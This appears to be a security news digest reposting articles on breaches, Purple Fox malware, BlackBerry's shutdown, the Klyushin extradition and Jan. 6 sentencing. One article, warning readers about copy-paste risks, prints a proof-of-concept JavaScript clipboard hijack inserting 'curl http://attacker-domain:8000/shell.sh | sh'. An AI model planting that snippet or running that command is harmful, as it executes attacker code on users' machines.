	<p>In addition, McMenamins says the attackers might have been able to access “files containing direct deposit bank account information,” but notes that no evidence that they did so has been found.</p> <p>McMenamins claimed no customer payment data was affected but noted that the incident impacted operational systems such as phone, credit card processing, and hotel reservation systems. Gift card purchases and redemptions are affected too, just as the company’s email system.</p>
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HEADLINE	<b>01/04 Report: UK defense academy attack</b>
SOURCE	<a href="https://www.infosecurity-magazine.com/news/uk-defence-academy-attack-report/">https://www.infosecurity-magazine.com/news/uk-defence-academy-attack-report/</a>
GIST	<p>A possible nation-state attack on the UK’s primary defense training facility last year forced the academy to rebuild its IT infrastructure, according to a former senior officer.</p> <p>Air marshal Edward Stringer served as director-general of joint force development and of the UK Defence Academy before recently retiring.</p> <p>The academy trains nearly 30,000 UK armed forces personnel annually, alongside civil servants and military staff from other nations.</p> <p>However, it was caught out by a cyber-attack last March, which had “significant” operational consequences, Stringer told Sky News.</p> <p>Although no sensitive information is thought to have been stolen, teaching was disrupted as courses moved online due to the pandemic.</p> <p>“It doesn’t look like a violent attack, but there were costs. There were costs to ... operational output. There were opportunity costs in what our staff could have been doing when they were having to repair this damage,” <a href="#">Stringer said</a>.</p> <p>“What could we be spending the money on that we’ve had to bring forward to rebuild the network? There are not bodies in the streets, but there’s still been some damage done.”</p> <p>That rebuilding process appears still to be in progress, with a note on the current <a href="#">Defence Academy website</a> stating: “new website coming soon ... please bear with us while we continue to update our site ... check back soon for updates.”</p> <p>The IT systems at the academy, including website maintenance, are reportedly managed by outsourcing provider Serco.</p> <p>While China, Russia and other hostile nations would undoubtedly have had the motivation to launch an attack, Stringer fell short of attributing it to state-backed operatives.</p> <p>“It could be any of those or it could just be someone trying to find a vulnerability for a ransomware attack that was just, you know, a genuine criminal organization,” he reportedly said.</p>
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HEADLINE	<b>01/03 Don’t copy-paste commands from webpage</b>
SOURCE	<a href="https://www.bleepingcomputer.com/news/security/dont-copy-paste-commands-from-webpages-you-can-get-hacked/">https://www.bleepingcomputer.com/news/security/dont-copy-paste-commands-from-webpages-you-can-get-hacked/</a>
GIST	<p>Programmers, sysadmins, security researchers, and tech hobbyists copying-pasting commands from web pages into a console or terminal are warned they risk having their system compromised.</p>

A technologist demonstrates a simple trick that'll make you think twice before copying and pasting text from web pages.

### Backdoor on your clipboard?

Recently, Gabriel Friedlander, founder of security awareness training platform Wizer demonstrated an obvious yet surprising hack that'll make you cautious of copying-pasting commands from web pages.

It isn't unusual for novice and skilled developers alike to copy commonly used commands from a webpage (ahem, StackOverflow) and paste them into their applications, a Windows command prompt or a Linux terminal.

But Friedlander warns a webpage could be covertly replacing the contents of what goes on your clipboard, and what actually ends up being copied to your clipboard would be vastly different from what you had intended to copy.

Worse, without the necessary due diligence, the developer may only realize their mistake after pasting the text, at which point it may be too late.

In a simple proof of concept (PoC) published on his blog, Friedlander asks readers to [copy a simple command](#) that most sysadmins and developers would be familiar with:

Let's say you were searching how to update your ubuntu, and you found this command line. And you copy it:

Try it - copy the command below:

```
sudo apt update
```

### Friedlander's HTML page with a simple command you can copy to clipboard

Now, paste what you copied from Friedlander's blog into a text box or Notepad, and the result is likely to leave you surprised:

```
curl http://attacker-domain:8000/shell.sh | sh
```

Not only do you get a completely different command present on your clipboard, but to make matters worse, it has a newline (or return) character at the end of it.

This means the above example would execute as soon as it's pasted directly into a Linux terminal.

Those pasting the text may have been under the impression they were copying the familiar, innocuous command *sudo apt update* that is used to fetch updated information on software installed on your system.

But that's not quite what happened.

### What causes this?

The magic is in the JavaScript code hidden behind the PoC HTML page setup by Friedlander.

As soon as you copy the "*sudo apt update*" text contained in an HTML element, the code snippet, shown below runs.

What happens afterward is a JavaScript '[event listener](#)' capturing the copy event and replacing the clipboard data with Friedlander's malicious test code:

```

1 <script>
2 document.getElementById('copy').addEventListener('copy', function(e) {
3     e.clipboardData.setData('text/plain', 'curl
    http://attacker-domain:8000/shell.sh | sh\n'); e.preventDefault();
4 });
5 </script>

```

PoC

### JavaScript code that replaces clipboard contents

Note, event listeners have a variety of legitimate use-cases in JavaScript but this is just one example of how they could be misused.

"This is why you should NEVER copy paste commands directly into your terminal," warns Friedlander.

"You think you are copying one thing, but it's replaced with something else, like malicious code. All it takes is a single line of code injected into the code you copied to create a backdoor to your app."

"This attack is very simple but also very harmful."

A Reddit user also presented an alternative example of this trick that requires no JavaScript: invisible text made with HTML and CSS styling that gets copied onto your clipboard when you copy the visible portions of text:



**Invisible HTML (left) gets picked up during copy-paste and has an extra line (right)**

Source: [JsFiddle](#)

"The problem is not just that the website can change your clipboard contents using JavaScript," explains the user, [SwallowYourDreams](#).

"It could also just hide commands in the HTML that are invisible to the human eye, but will be copied by the computer."

And so, another reason to never blindly trust what you copy from a web page—better paste it in a text editor first.

A simple, but nonetheless, an important lesson in everyday security.

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HEADLINE	01/03 Malware via malicious Telegram installers
SOURCE	<a href="https://www.bleepingcomputer.com/news/security/purple-fox-malware-distributed-via-malicious-telegram-installers/">https://www.bleepingcomputer.com/news/security/purple-fox-malware-distributed-via-malicious-telegram-installers/</a>
GIST	<p>A malicious Telegram for Desktop installer distributes the Purple Fox malware to install further malicious payloads on infected devices.</p> <p>The installer is a compiled AutoIt script named "Telegram Desktop.exe" that drops two files, an actual Telegram installer, and a malicious downloader.</p> <p>While the legitimate Telegram installer dropped alongside the downloader isn't executed, the AutoIT program does run the downloader (TextInput.exe).</p> <p>When TextInput.exe is executed, it will create a new folder ("1640618495") under "C:\Users\Public\Videos\" and connect to the C2 to download a 7z utility and a RAR archive (1.rar).</p>

The archive contains the payload and the configuration files, while the 7z program unpacks everything onto the ProgramData folder.

As detailed in an analysis by [Minerva Labs](#), TextInput.exe performs the following actions onto the compromised machine:

- Copies 360.tct with “360.dll” name, rundll3222.exe, and svchost.txt to the ProgramData folder
- Executes objk.exe with the “objk.exe -a” command line
- Deletes 1.rar and 7zz.exe and exits the process

Next, a registry key is created for persistence, a DLL (rundll3222.dll) disables UAC, the payload (svchost.txt) is executed, and the following five additional files are dropped onto the infected system:

1. Calldriver.exe
2. Driver.sys
3. dll.dll
4. kill.bat
5. speedmem2.hg

The purpose of these extra files is to collectively block the initiation of 360 AV processes and prevent the detection of Purple Fox on the compromised machine.

The next step for the malware is to gather basic system information, check if any security tools are running on it, and finally send all that to a hardcoded C2 address.

Once this reconnaissance process is completed, Purple Fox is downloaded from the C2 in the form of an .msi file that contains encrypted shellcode for both 32 and 64-bit systems.

Upon execution of Purple Fox, the infected machine will be restarted for the new registry settings to take effect, most importantly, the disabled User Account Control (UAC).

At this time, it is unknown how the malware is being distributed but similar malware campaigns impersonating legitimate software were distributed via YouTube videos, forum spam, and shady software sites.

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HEADLINE	<b>01/03 Fla. Broward Health discloses data breach</b>
SOURCE	<a href="https://www.bleepingcomputer.com/news/security/broward-health-discloses-data-breach-affecting-13-million-people/?&amp;web_view=true">https://www.bleepingcomputer.com/news/security/broward-health-discloses-data-breach-affecting-13-million-people/?&amp;web_view=true</a>
GIST	<p>The Broward Health public health system has disclosed a large-scale data breach incident impacting 1,357,879 individuals.</p> <p>Broward Health is a Florida-based healthcare system with over thirty locations offering a wide range of medical services and receives over 60,000 admissions per year.</p> <p>The healthcare system disclosed a cyberattack on October 15, 2021, when an intruder gained unauthorized access to the hospital's network and patient data.</p> <p>The organization discovered the intrusion four days later, on October 19, and immediately notified the FBI and the US Department of Justice.</p> <p>At the same time, all employees were advised to change their user passwords, and Broward Health contracted a third-party cybersecurity expert to help with the investigations.</p> <p>An investigation revealed that the threat actors gained access to patient's personal medical information, which may include the following items:</p> <ul style="list-style-type: none"><li>• Full name</li></ul>

- Date of birth
- Physical address
- Phone number
- Financial or bank information
- Social Security number
- Insurance information and account number
- Medical information and history
- Condition, treatment, and diagnosis
- Driver's license number
- Email address

Although Broward Health confirms that the network intruder has exfiltrated the above data, it notes that there is no evidence that the threat actors misused it.

Notably, the intrusion point was determined to be a third-party medical provider who was permitted access to the system to provide their services.

"In response to this incident, Broward Health is taking steps to prevent recurrence of similar incidents, which include the ongoing investigation, a password reset with enhanced security measures across the enterprise, and the implementation of multifactor authentication for all users of its systems," explains [the data breach notificaiton](#) to affected patients and employees.

"We have also begun implementation of additional minimum-security requirements for devices that are not managed by Broward Health Information Technology that access our network, which will become effective in January 2022."

Due to the critical nature of the exposed data, recipients of the notices need to remain vigilant against all forms of communication.

In addition, the healthcare system is offering a two-year membership of identity theft detection and protection services through Experian, with details on how to enroll enclosed in the letter.

Stolen data is often bartered privately in hidden dark web forums, so it could be too early to see signs of abuse in the wild, but that doesn't mean the exposed individuals should get complacent.

Often, these large sets go through a time-consuming evaluation process to pick specific high-value targets for social engineering or phishing attacks. Therefore, a delay in exploiting the stolen data can be expected.

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HEADLINE	<b>01/03 BlackBerry ends service to legacy devices</b>
SOURCE	<a href="https://www.nytimes.com/2022/01/03/technology/personaltech/blackberry-devices-stop-working.html">https://www.nytimes.com/2022/01/03/technology/personaltech/blackberry-devices-stop-working.html</a>
GIST	<p>To legions of executives, journalists and politicians — even the leader of the free world — they were once-indispensable devices for staying connected when ordinary cellphones wouldn't suffice. Anything else was for amateurs.</p> <p>The devices, with the quirky-sounding name BlackBerry and the QWERTY keyboard that conditioned many people to type with their thumbs, were more ubiquitous than iPhones during the late 2000s.</p> <p>But as of Tuesday, Blackberry models that use the company's operating systems will go the way of the Commodore computer and the LaserDisc. So will their trademark trackballs and Tic Tac-sized letter keys.</p> <p>As part of an <a href="#">"end of life" decommissioning program</a> that was initially announced in 2020, BlackBerry said that as of Jan. 4, 2022, it would no longer support the devices as the Canadian company completes its yearslong shift from making mobile phones to a software-based business model.</p>

For some, the deadline represents a wistful conclusion to an era before touch screens, Apple Pay and TikTok, when BlackBerries dominated offices, airport lounges and the West Wing.

President Barack Obama famously clung to his BlackBerry after taking office, prompting the White House to strip it down for security reasons.

Kevin Michaluk, the founder of [CrackBerry](#), a website and forum dedicated to the once-popular devices, waxed nostalgic on Monday about the rise and fall of the technology. In 2016, BlackBerry [abandoned making phones](#), devices that the company, previously named Research in Motion, had come to define.

“The initial sadness for me has been lived several times,” said Mr. Michaluk, who uses the nickname CrackBerry Kevin. “To use my real name, people don’t know who the hell I am.”

Mr. Michaluk, 41, who lives in Winnipeg, Manitoba, said that BlackBerry devices, featuring model names like the Curve, Bold, Storm and Pearl, enhanced productivity without all of the distractions that come with iPhones.

“It feels like they’re causing A.D.D. for most of us, rather than productivity right now,” he said of iPhones. “We went from analog phones to the pendulum swinging too far. You can’t actually get anything done on it because you’re constantly bombarded by sensory overload.”

In a message posted on its website on Dec. 22, BlackBerry reminded users that devices running legacy services over cellular networks or WiFi would no longer be able to receive or send text messages or other data, make phone calls or contact 911.

The company, which thanked its users for their loyalty over the years, did not immediately comment further on Monday.

On its website, the company pointed out that Android-powered models like the BlackBerry KEY2, which was manufactured by the Chinese company TCL under a partnership that [ended in 2020](#), would not be affected by the change.

That might come as a relief to Carrie Bradshaw, Sarah Jessica Parker’s character in “And Just Like That,” the reboot of “Sex and the City,” who [uses a BlackBerry KEY2](#).

Few people came to be more synonymous with BlackBerry than did Mr. Obama, whose reliance — ahem, addiction — to his mobile device presented a conundrum when he was elected to the presidency in 2008.

Writing in his 2020 memoir, [“A Promised Land,”](#) Mr. Obama recalled, “My team did throw me one bone when it came to freedom: I was able to keep my BlackBerry — or, rather, I was given a new, specially modified device, approved only after several weeks of negotiations with various cybersecurity personnel.”

Mr. Obama said that he could send or receive emails only from a list of 20 or so vetted contacts on his BlackBerry, which had its headphone jack and microphone removed and did not work as a phone.

“Michelle joked that my BlackBerry was like one of those play phones you give toddlers,” he said, “where they get to press buttons and it makes noises and things light up but nothing actually happens.”

Adam Matlock, 37, who runs [TechOdyssey](#), a technology review channel on YouTube, said on Monday that he received many messages from BlackBerry users expressing concerns about no longer being able to use the devices.



“They’ve been holding onto it for so long because there’s no replacement,” he said. “I always felt like BlackBerries, they were special because they had a keyboard and were not trying to be another phone with a touch screen.”

Even if BlackBerry didn’t decommission its older devices, Mr. Matlock said, they would be virtually impossible to run once major wireless carriers like Verizon, AT&T and T-Mobile phase out 3G technology during the next few years.

“I think it’s unfortunate that they’re ending support for it,” he said. “I understand the decision because the platform itself is pretty much obsolete at this point.”

Mr. Matlock, who lives in Houston, keeps some of his vintage devices in his office, he said, like the BlackBerry 7100g.

“They always felt kind of special to me,” he said.

Mr. Michaluk, or Crackberry Kevin, said his favorite model was the BlackBerry Bold 9000 because it had leather on the back.

“I have a little shelf with a little kickstand that it leans against,” he said. “Let’s call it a tasteful shrine.”

One of the first models that he owned was the BlackBerry 8700, which had a jog wheel on the side that let users scroll through menus and messages.

“It was a little tank,” he said. “You could throw the thing across the room like a baseball, and it would keep working.”

Mr. Michaluk now uses an iPhone.

“I’m now OK with that,” he said.

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HEADLINE	01/03 Kremlin insider caught; election hack info?
SOURCE	<a href="https://www.bloomberg.com/news/articles/2022-01-03/kremlin-insider-klyushin-is-said-to-have-2016-hack-details">https://www.bloomberg.com/news/articles/2022-01-03/kremlin-insider-klyushin-is-said-to-have-2016-hack-details</a>
GIST	<p>In the days before Christmas, U.S. officials in Boston unveiled insider trading charges against a Russian tech tycoon they had been pursuing for months. They accused Vladislav Klyushin, who’d been <a href="#">extradited</a> from Switzerland on Dec. 18, of illegally making tens of millions of dollars trading on hacked corporate-earnings information.</p> <p>Yet as authorities <a href="#">laid out</a> their securities fraud <a href="#">case</a>, a striking portrait of the detainee emerged: Klyushin was not only an accused insider trader, but a Kremlin insider. He ran an information technology company that works with the Russian government’s top echelons. Just 18 months earlier, Klyushin received a medal of honor from Russian President Vladimir Putin. The U.S. had, in its custody, the highest-level Kremlin insider handed to U.S. law enforcement in recent memory.</p> <p>Klyushin’s cybersecurity work and Kremlin ties could make him a useful source of information for U.S. officials, according to several people familiar with Russian intelligence matters. Most critically, these people said, if he chooses to cooperate, he could provide Americans with their closest view yet of 2016 election manipulation.</p> <p>According to people in Moscow who are close to the Kremlin and security services, Russian intelligence has concluded that Klyushin, 41, has access to documents relating to a Russian campaign to hack Democratic Party servers during the 2016 U.S. election. These documents, they say, establish the hacking was led by a team in Russia’s GRU military intelligence that U.S. cybersecurity companies have</p>

dubbed “Fancy Bear” or APT28. Such a cache would provide the U.S. for the first time with detailed documentary evidence of the alleged Russian efforts to influence the election, according to these people.

Klyushin’s path to the U.S. — his flight from Moscow via private jet, his arrest in Switzerland, and his wait in jail as Russia and the U.S. competed to win his extradition — is described in U.S., European and Swiss legal filings, as well as in accounts of more than a half-dozen people with knowledge of the matter who requested anonymity to speak about Moscow’s efforts and its causes for concern.

According to these accounts, Klyushin was approached by U.S. and U.K. spy agencies in the two years before his exit from Russia and received heightened levels of security in Switzerland. He also missed a final chance to appeal his extradition, an omission that baffled many observers in Moscow. His transfer to the U.S. represents a serious intelligence blow to the Kremlin, several of the people said, one that would deepen if Klyushin decides to seek leniency from U.S. prosecutors by providing information about Moscow’s inner workings.

Three of the people added that they believe that Klyushin has access to secret records of other high-level GRU operations abroad. Russian military intelligence agents in recent years have been linked to a series of hacking attacks as well as the attempted chemical poisoning assassination of dissident ex-GRU colonel Sergei Skripal and his daughter in the U.K. in 2018. Russia has denied involvement.

Indications of Klyushin’s vantage point are peppered throughout U.S. filings. His IT firm, M-13, worked for the Russian presidency, government and ministries, according to his insider trading indictment. Among his subordinates was a former military intelligence official named Ivan Yermakov, who is charged alongside Klyushin in the indictment. Yermakov is also a defendant in a 2018 [indictment](#) from U.S. Special Counsel Robert Mueller’s team that [accuses](#) him and 11 other Russians of hacking into Democrats’ computers systems. That case has yet to be resolved because its defendants remain outside the U.S., but prosecutors could pursue and expand that case if new information presents itself.

Klyushin’s attorney in Switzerland, Oliver Ciric, said he doesn’t know anything about what, if any, documents his client may have. Ciric said in an interview that his client was sought by U.S. authorities because they believe he has inside information on Russia’s 2016 election hacking that he may provide to avoid decades behind bars on the [insider trading](#) charges. Ciric added that Klyushin says he is innocent of insider trading and of “hypothetical election meddling.”

Klyushin’s U.S.-based lawyer Maksim Nemtsev, writing in a bail application, said his client “intends to challenge the government’s case in a lawful, professional and principled manner.” Klyushin is set to appear for arraignment on Jan. 3. Nemtsev didn’t respond to a request for additional comment.

Any exposure of Russian hostile behavior by law-enforcement officials risks inflaming relations just as President Joe Biden’s administration is engaged in delicate efforts to dial back tensions with Putin. The latest unease is sparked by Russia’s massive military buildup near Ukraine, as U.S. intelligence indicates the threat of a Russian invasion of its ex-Soviet neighbor. U.S. and Russian negotiators are [due](#) to meet Jan. 9 in Geneva to discuss the Kremlin’s demands for legally binding guarantees of a halt to NATO eastward expansion.

Klyushin’s extradition suggests that federal law enforcers haven’t dropped their pursuit of “the radical violation of U.S. sovereignty during the 2016 elections that involved criminal behavior,” according to Michael McFaul, who was a U.S. ambassador to Russia during the Obama administration.

“You may be seeing the signs that they are continuing to pursue this case, with real big implications for exposing in even greater detail what the Russians did to influence the outcome of our election,” McFaul said. He added that Klyushin’s extradition is a “serious concern” for the Russian government. “It underscores the risk that anybody, billionaires or others close to the Russian state, face when they break American laws if they travel abroad,” he said.

Kremlin spokesman Dmitry Peskov didn't respond to a request for comment. Russia's Foreign Ministry declined to comment.

### **Top Cyber Clients**

Klyushin's M-13 promised a range of information tech services, including social media monitoring and cybersecurity, according to U.S. filings that cited the company's website. It offered to probe its clients for cyber weaknesses by simulating attacks — known as penetration testing — and also by mounting targeted ongoing attacks known as advanced persistent threats, or APT. The company provided a media-monitoring system, Katyusha, to the Kremlin and Defense Ministry, as well as services to other government institutions such as the Prosecutor General's Office, National Guard and Moscow city hall, according to Russian state contract records.

For his part, Klyushin amassed "immense wealth," U.S. prosecutors wrote. They cited his ownership of a three-million-pound (\$4 million) yacht purchased in the U.K., a London apartment and millions of dollars in cash.

Klyushin is one of several high-level individuals in Russia's cyber sector who have been at the center of drama in both Russia and the U.S. Two of these Russians provided information several years ago that led to U.S. indictments of Russians for alleged election manipulation, Bloomberg has previously reported.

One was arrested in Russia in 2016 and [jailed](#) on treason charges. The other, Russian cybersecurity entrepreneur Ilya Sachkov, was close to Klyushin, three of the people said. Sachkov provided the U.S. government with information that helped it identify the 12 GRU agents it accused of involvement in the hacking of Democratic servers, including Klyushin's senior employee Yermakov, people familiar with the matter have previously told Bloomberg. Russia has repeatedly denied meddling in U.S. elections. Sachkov was arrested in Russia in September and is jailed awaiting trial on unspecified treason charges.

U.S. and British intelligence tried twice to recruit Klyushin, according to Ciric, the attorney in Switzerland. U.S. intelligence attempted to engage him in summer 2019 in the south of France and British intelligence approached him in March 2020 in Edinburgh, Ciric said.

Klyushin memorialized that second meeting in a note he wrote a few weeks after the encounter and saved on his computer, according to Ciric. It took place at Edinburgh's airport, as Klyushin was taking a flight back to Russia, according to the memo, which was submitted to the Swiss courts as part of his appeal against extradition. Klyushin wrote that two British intelligence agents — one from MI5 and the other from MI6 — spoke to him for a few minutes in a room where he was led after a passport check.

The two Russian-speaking officers, a man and a woman, asked him if he would "cooperate" with U.K. secret services and took his phone number to set up a meeting on his next trip to London planned for May, according to the previously unreported document, which was reviewed by Bloomberg. Klyushin wrote that while he didn't respond to the cooperation offer, he said he would be willing to see the agents again to discuss selling M-13 products to British intelligence.

It's unclear whether Klyushin informed Russian intelligence about the U.S. and British recruitment efforts. The U.K. Foreign Office, which handles media inquiries for MI6, declined to comment.

### **Family Ski Vacation**

The U.S. learned that Klyushin was traveling in the spring of 2021 to Switzerland, which has a joint extradition agreement with the U.S., and issued an arrest warrant on March 19. Ciric said he believes the U.S. learned of the trip "a few days before" by illegally hacking his client's phone, noting that Klyushin's Switzerland itinerary and other personal information and photos from the device made their way into case materials. The Justice Department didn't respond to a request for comment.

Two days later, a private jet flying from Moscow touched down at Sion Airport in southwestern Switzerland. Klyushin, his wife and five children stepped off the plane. A helicopter was standing by to whisk them to the exclusive ski resort of Zermatt, according to U.S. filings.

Shortly after leaving the plane, Klyushin was detained by Swiss police. He was taken hours later to a prison in nearby Sion.

His wife and kids continued to the ski resort along with a business partner and his daughter, according to two people familiar with the matter. The party returned to Moscow on March 29, after almost 10 days at a luxury chalet, these people said.

News of Klyushin's detention provoked immediate action in Moscow: On April 7, Russia filed papers with Switzerland accusing Klyushin of fraud and seeking his extradition to face charges in his home country — a strategy the country has [attempted](#) to use in recent years when [nationals](#) have been accused abroad.

Three of the people familiar with the matter characterized Klyushin's departure to Switzerland as a huge failure of Russian secret services after his contacts with intelligence agencies, and they said they expect the top officials responsible to lose their jobs.

The Swiss held Klyushin under high security, alone in a cell, according to his lawyer. He was accompanied by as many as 10 police, most of them heavily armed, on his only trip between the jail and the courthouse in Sion in April — unprecedented security measures for white-collar cases in Switzerland, according to his lawyer.

While in the Swiss prison, Klyushin told Bloomberg, through his lawyer, that he didn't know why he was arrested in March and not before, saying that he had previously traveled freely to Europe. He blamed his detention on an "operation mounted by the U.S. in cooperation with Swiss authorities" to obtain "certain confidential information the American authorities consider" he has.

The U.S. filed its own extradition bid for Klyushin nearly two weeks after Russia, on April 19.

By then, a U.S. federal grand jury had already handed up indictments charging Klyushin and Yermakov — identified in some in filings as Kliushin and Ermakov — and three other alleged conspirators. Filed on April 6, the sealed indictment of Klyushin accused the group of hacking into the servers of two online agencies used by U.S. publicly traded companies to file their quarterly reports a day or two before they're released. With an advance look at the results, the men bet on or against stocks including International Business Machines Corp., Snap Inc., Tesla Inc. and Microsoft Corp., netting them illegal profits of \$82.5 million, according to the indictment. Klyushin faces a recommended sentence of 20 years in prison, though the charges carry a maximum penalty of 50 years.

Headlining the investigation was [B.J. Kang](#), an FBI special agent [famous](#) for bringing in convicted fraudster Bernie Madoff and inside trader Raj Rajaratnam. The U.S. Securities and Exchange Commission has also [filed charges](#).

### **Diplomatic Snarl**

In August, Switzerland rejected Moscow's extradition request.

Soon after came an international diplomatic snarl that speaks to Klyushin's importance to Moscow. Following a Russia-U.S. presidential summit in June, the two sides were negotiating to swap two former U.S. Marines [imprisoned](#) in Russia, Paul Whelan and Trevor Reed, for two Russians held in the U.S., including notorious arms dealer Viktor Bout. But after Switzerland declined to hand Klyushin back to Russia, the Kremlin demanded that his name be added to the swap, according to three people with knowledge of the issue. That derailed the potential exchange, which remains blocked, these people said.

There is no link between Klyushin and the return of Reed and Whelan to the U.S., said a U.S. National Security Council spokesperson. The U.S. government continues to press for their release, the spokesperson said.

Klyushin's chances of a trip to the U.S. grew when the Swiss supreme court refused to consider an appeal against his extradition, saying it had no reason to challenge the legitimacy of the U.S. courts. The panel made its ruling in a Dec. 10 session, which was communicated to Ciric on Dec. 16, according to him and the court.

Once Switzerland's top court refuses an appeal, detainees can be handed over within two to four days, Ciric said in an interview a month before the ruling.

That left Klyushin with a brief window to make a last-ditch appeal of his extradition — a request to the European Court of Human Rights, based in Strasbourg, France. However, his attorney filed that request in a way that took days, rather than hours. That led three of the people close to the Kremlin and Russian security services to conclude that Ciric may have facilitated a transfer to U.S. custody on his client's instructions. Ciric didn't respond to a request for comment on the timing of the ECHR appeal.

Once Ciric had received the supreme court's decision, the Geneva lawyer filed a petition with the ECHR, reviewed by Bloomberg. The letter, dated Dec. 16 and labeled in French as "urgent," asked the court to suspend the extradition order.

A day later, on Dec. 17, Ciric emailed Russian Foreign Minister Sergei Lavrov. "We have urgently filed an application with the European Court of Rights" requesting it "immediately put on hold the extradition of Mr. Klyushin since this action will undoubtedly cause irreparable damage," Ciric wrote in the previously unreported letter, which was reviewed by Bloomberg.

A spokesman for the Strasbourg court said emergency requests are typically faxed or emailed to ensure immediate delivery — which in this instance may have made all the difference. On Dec. 18, U.S. agents took custody of Klyushin at Zurich airport and flew him to face trial in the U.S.

Klyushin's request was received by the ECHR only on Dec. 22, according to the Strasbourg court's spokesman. By then, Klyushin had already been in the U.S. for four days.

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## Terror Conditions

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HEADLINE	01/04 DOJ avoids terror sentences Capitol riot?
SOURCE	<a href="https://www.politico.com/news/2022/01/04/doj-domestic-terrorism-sentences-jan-6-526407">https://www.politico.com/news/2022/01/04/doj-domestic-terrorism-sentences-jan-6-526407</a>
GIST	<p>The storming of the Capitol on Jan. 6 has been denounced by the White House, the FBI and the Justice Department as an act of domestic terrorism, but one year after the insurrection, prosecutors have yet to ask judges to impose the harsher sentences federal law recommends for defendants motivated by politics.</p> <p>Instead, even as some judges have publicly debated whether the charges against Jan. 6 defendants qualify as "crimes of terrorism," prosecutors have repeatedly pulled back on tougher sentences, citing unspecified "facts and circumstances."</p> <p>The so-called sentencing enhancement for terrorism crimes was created as a result of legislation Congress passed following the 1993 bombing in a parking garage at the World Trade Center. The provision initially applied only to crimes linked to international terrorism, but after the bombing of the Oklahoma City federal building in 1995, Congress moved to expand the enhancement to cover terrorism inspired purely by domestic causes.</p> <p>The terrorism-related language now includes federal criminal offenses "calculated to influence or affect the conduct of government by intimidation or coercion, or to retaliate against government conduct."</p>

In front of judges and in court filings, the Justice Department is engaged in a delicate rhetorical dance on the domestic terrorism issue. Seeking to satisfy a large swath of the public outraged by the Jan. 6 riot, prosecutors have declared that the event “certainly” qualifies as domestic terrorism. But they’ve kept their powder dry thus far on invoking the terrorism sentencing boost — potentially because its impact can be so severe.

It’s also one of the existing provisions legal experts have pointed to in the ongoing debate over whether Congress should pass a domestic-terrorism statute.

“It takes you from a couple of years [in prison] in the guidelines range all the way up to, like, 20,” said Doug Berman, an Ohio State law professor and one of the nation’s leading authorities on criminal sentencing.

Invoking the terrorism enhancement typically adds about 15 years in prison to a defendant’s recommended sentence, sets the minimum calculation at 17 and a half years, and also flips the person charged into the criminal-history category used for serial offenders.

While prosecutors have yet to actually call for the enhancement at a sentencing for a Capitol riot defendant, the terrorism-related provision is playing a significant role behind the scenes.

At pretrial hearings, defense attorneys have indicated that they were unwilling to consider plea deals for their clients because prosecutors would not agree to refrain from seeking the domestic terrorism charges. In other cases, prosecutors seem to have dropped the enhancement, in exchange for cooperation from particular defendants.

Critics say giving prosecutors the authority to pursue or not pursue the massive sentence booster in cases stemming from political protests gives too much power to prosecutors in the process of negotiating a plea.

“It’s just lying there as a cudgel if they want it,” said Karen Greenberg, director of Fordham University law school’s Center on National Security. “It can be used so many different ways.”

Indeed, the range of crimes that can trigger the sentencing enhancement is sprawling. Under current law, 57 offenses are on the list, including such crimes as hostage-taking, destroying an aircraft, using fire or explosives to destroy a building and computer hacking that creates a public health or safety threat or impacts national security systems. Some of the so-called predicate offenses are quite obscure, including producing smallpox virus or assaulting a Nuclear Regulatory Commission inspector.

But many of the most frequently filed felony charges related to the Capitol riot don’t appear on the terrorism list. Assaulting a police officer with a dangerous weapon, a potential 20-year felony, isn’t on the list. Nor is obstruction of an official proceeding, another 20-year felony, or interfering with police during civil disorder, a five-year felony.

About 45 Capitol riot defendants are charged with a crime that is on the terrorism list: destruction or “depredation” of federal property, which carries a maximum 10-year prison term.

The property-destruction charge has been leveled against at least seven alleged members of the right-wing Proud Boys group in connection with one of the highest-profile acts of Jan. 6: the smashing of a Capitol window, resulting in scores of protesters streaming into the building. Prosecutors have charged Dominic Pezzola of Rochester, N.Y., with the actual shattering of the window, but contend that many of Pezzola’s associates are criminally responsible for aiding and abetting him in doing it.

The issue became a point of contention at bail hearings earlier this year, where some defense lawyers scoffed at the idea that encouraging someone to break a window could amount to terrorism.



“There appears to be a good deal of distance between that allegation and a terrorism case,” defense attorney Nick Smith wrote on behalf of alleged Proud Boys leader Ethan Nordean. “Piquant photographs of Proud Boys do not bridge the gap.”

Can vandalism be terrorism?

In recent years, prosecutors have used the felony depredation-of-federal-property statute to cover a very broad range of conduct. In California, some have faced the charge for growing marijuana in national forests. In South Dakota, a rancher was charged for overgrazing his cattle on federal lands.

The crime is one of those that then-President Donald Trump cited in 2020 when he issued a series of grave and often misleading warnings to racial-justice protesters that attacks on federal monuments would get them 10-year mandatory prison sentences.

Indeed, the depredation-of-property offense is sometimes charged in connection with protests. In 2018, seven antiwar activists were hit with the charge for cutting through razor and concertina wire at a Georgia naval base used by nuclear submarines.

During the Black Lives Matter demonstrations that followed the murder of George Floyd by Minneapolis police in May 2020, prosecutors turned to the statute again to charge Micah Avery, a resident of Washington, D.C., for spray-painting an outcropping of the Lincoln Memorial with the words “Yall not tired yet?”

Avery, who has pleaded not guilty, is tentatively set to go on trial later this month.

The same charge was also used against five racial-justice protesters in Nevada who were accused of being part of a crowd that tossed paint onto a federal courthouse, threw objects at its windows, kicked its doors and ripped letters off the building’s sign.

All five people who were charged pleaded guilty to the felony offense, but prosecutors did not seek to apply the terrorism enhancement. Three defendants were given probation, although one later had it revoked and was sent to prison for four months. One defendant, who also sought to break into a pawn shop later that night, got 21 months. A fifth defendant awaits sentencing.

A California man, Kevin Weier, who moved a burning board from one spot to another outside the federal courthouse in Portland, Ore., during protests there in 2020, was also charged with depredation of federal property. After he pleaded guilty, prosecutors didn’t invoke the terrorism enhancement and recommended just one year of probation. A judge gave him two.

It’s a very different story in the New York City borough of Brooklyn, where federal prosecutors have signaled plans to press for the terrorism enhancement in a case against two lawyers who have admitted to working together to prepare and throw a Molotov cocktail fashioned from a beer bottle into a vacant New York Police Department cruiser during George Floyd-related protests.

Plea discussions in the case against the lawyers, Colinford Mattis and Urooj Rahman, dragged out for almost a year and a half, in large part because of prosecutors’ insistence on requesting the terrorism enhancement in the case.

Assistant U.S. Attorney Ian Richardson pointed to a string of ominous-sounding text messages Mattis and Rahman exchanged.

“Go burn down 1PP,” Mattis wrote, referring to NYPD headquarters at One Police Plaza.

“Molotovs rollin’,” Rahman added. “I hope they burn everything down. Need to burn all police stations down and probably the courts too.”

At a hearing in October in which the attorneys pleaded guilty to possession of a destructive device, U.S. District Court Judge Brian Cogan said a central question at the sentencing — now set for March — would be whether to apply the major increase in prison time for a terrorist offense.

